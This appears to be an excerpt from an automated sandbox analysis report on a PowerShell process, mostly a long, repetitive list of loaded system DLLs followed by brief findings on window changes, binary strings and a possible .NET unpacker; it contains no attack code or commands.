Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 2.2.powershell.exe.6ef0000.1.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
